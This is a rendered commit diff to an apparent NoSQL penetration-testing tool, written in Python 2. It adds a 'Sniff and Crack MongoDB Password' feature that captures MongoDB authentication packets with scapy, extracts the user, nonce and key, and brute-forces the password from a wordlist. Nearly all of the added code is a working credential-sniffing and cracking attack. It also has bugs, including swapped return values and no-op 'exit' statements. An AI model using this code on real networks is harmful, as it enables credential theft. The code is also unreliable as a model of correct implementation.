31
31
import ast
32
32
import datetime
33
33
import itertools
34
+ import re
34
35
from hashlib import md5
35
36
from threading import Thread
37
+ from scapy .all import *
38
+
36
39
37
40
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
38
41
global optionSet
@@ -72,6 +75,7 @@ def mainMenu():
72
75
print "2-NoSQL DB Access Attacks"
73
76
print "3-NoSQL Web App attacks"
74
77
print "4-Scan for Anonymous MongoDB Access"
78
+ print "5-Sniff and Crack MongoDB Password"
75
79
print "x-Exit"
76
80
77
81
select = raw_input ("Select an option: " )
@@ -103,6 +107,9 @@ def mainMenu():
103
107
104
108
elif select == "4" :
105
109
massMongo ()
110
+
111
+ elif select == "5" :
112
+ sniff_and_brute ()
106
113
107
114
elif select == "x" :
108
115
sys .exit ()
@@ -397,7 +404,6 @@ def netAttacks(target):
397
404
print "MongoDB authenticated on " + target + ":27017!"
398
405
mgtOpen = True
399
406
except :
400
- print str (sys .exc_info ())
401
407
raw_input ("Failed to authenticate. Press enter to continue..." )
402
408
return
403
409
@@ -1724,10 +1730,89 @@ def getDBInfo():
1724
1730
crackHash = raw_input ("Crack another hash (y/n)?" )
1725
1731
raw_input ("Press enter to continue..." )
1726
1732
return
1733
+
1734
+ def sniff_and_brute ():
1735
+ class sniff_and_brute (object ):
1736
+
1737
+ def get_packets (self , port , iface , count ):
1738
+ packets = sniff (filter = "port " + str (port )+ "" , count = count , iface = str (iface ))
1739
+ return packets
1740
+
1741
+ def parse_packets (self , port , iface , count ):
1742
+ print "Sniff packages..."
1743
+ packets = self .get_packets (port , iface , count )
1744
+ print "Parse packages..."
1745
+
1746
+ for i in xrange (len (packets )):
1747
+ if "key" in re .findall (r'[A-Za-z0-9]{3,}' , str (packets [i ])):
1748
+ packet = packets [i ]
1749
+ break
1750
+
1751
+ user = re .findall (r'[A-Za-z0-9]{3,}' , str (packet ))[4 ]
1752
+ nonce = re .findall (r'[A-Za-z0-9]{3,}' , str (packet ))[6 ]
1753
+ key = re .findall (r'[A-Za-z0-9]{3,}' , str (packet ))[8 ]
1754
+ return user , nonce , key
1755
+
1756
+ def gen_pass (self , user , nonce , passw ):
1757
+ return md5 (nonce + user + md5 (user + ":mongo:" + str (passw )).hexdigest ()).hexdigest ();
1758
+
1759
+
1760
+ def brute_pass (self , port , iface , dictionary ):
1761
+ count = 10 # count of packets which should be sniffed
1762
+ nonce , user , key = self .parse_packets (str (port ), str (iface ), int (count ))
1763
+ print "Prepair to brute..."
1764
+ file = open (dictionary )
1765
+ file_len = open (dictionary )
1766
+
1767
+ for i in xrange (len (file_len .readlines ())):
1768
+ passw = file .readline ().split ('\n ' )[0 ]
1769
+
1770
+ if self .gen_pass (user , nonce , passw ) == key :
1771
+ raw_input ("\n Found - " + user + ":" + passw )
1772
+ break
1773
+ exit
1774
+
1775
+ def test (self ):
1776
+ self .test1 ("string" )
1777
+ def test1 (self , string ):
1778
+ self .string = string
1779
+ print string
1780
+
1781
+
1782
+ print "\n Sniff and brute mongo password."
1783
+ start = raw_input ("Prepare to start (Y/N)? " )
1784
+
1785
+ if start == "y" or start == "Y" :
1786
+ next = raw_input ("Port (default 27017): " )
1787
+ if type (next ) != int :
1788
+ port = 27017
1789
+ else :
1790
+ port = next
1791
+ next = raw_input ("Interface to sniff: " )
1792
+ if type (next ) != str :
1793
+ print "Error!"
1794
+ exit
1795
+ else :
1796
+ iface = next
1797
+ next = raw_input ("Full path to dictionary for brute: " )
1798
+ if type (next ) != str :
1799
+ print "Error!"
1800
+ exit
1801
+ else :
1802
+ dictionary = next
1803
+ else :
1804
+ exit
1805
+
1806
+
1807
+ start = raw_input ("Start? (Y/N)" )
1808
+ if start == "y" or start == "Y" :
1809
+ sniff_brute = sniff_and_brute ()
1810
+ sniff_brute .brute_pass (port , iface , dictionary )
1727
1811
1728
1812
def signal_handler (signal , frame ):
1729
1813
print "\n "
1730
1814
print "CTRL+C detected. Exiting."
1731
1815
sys .exit ()
1816
+
1732
1817
signal .signal (signal .SIGINT , signal_handler )
1733
- mainMenu ()
1818
+ mainMenu ()
0 commit comments